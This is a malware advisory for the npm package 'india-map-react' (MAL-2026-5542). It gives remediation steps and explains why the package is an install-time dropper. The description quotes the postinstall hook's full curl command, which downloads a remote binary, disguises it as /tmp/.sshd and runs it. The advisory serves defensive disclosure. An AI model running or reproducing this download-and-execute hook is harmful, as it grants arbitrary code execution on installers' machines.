MAL-2026-5542 Malicious code in india-map-react (npm)
Malicious package
Published
MAL-2026-5542 is a malicious package: india-map-react (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-5542/ (Markdown: https://insights.sbomify.com/MAL-2026-5542/index.md)
- Package
- india-map-react
- Registry
- npm
What is MAL-2026-5542?
MAL-2026-5542 is a malicious package in india-map-react, published on 11 Jun 2026.
Official description
package.json declares a postinstall hook that runs
curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. On every npm install, this fetches a binary from a GitHub account ('parikhpreyash4') unrelated to the npm publisher ('yuvrajDurgesh'), with TLS verification disabled (-k), follows redirects (-L), suppresses all errors (2>/dev/null), stages the binary under a deceptive hidden path masquerading as the SSH daemon (/tmp/.sshd), marks it executable, and runs it in the background. The URL uses the mutable latest/download alias rather than a pinned release with a verified hash, so the author can swap the executed bytes at any time. The package advertises itself as a React component for rendering an India map — there is no legitimate reason for it to fetch and execute a native binary named after a system network daemon. This is a textbook install-time dropper granting arbitrary code execution on every installer's machine.What should I do about MAL-2026-5542?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.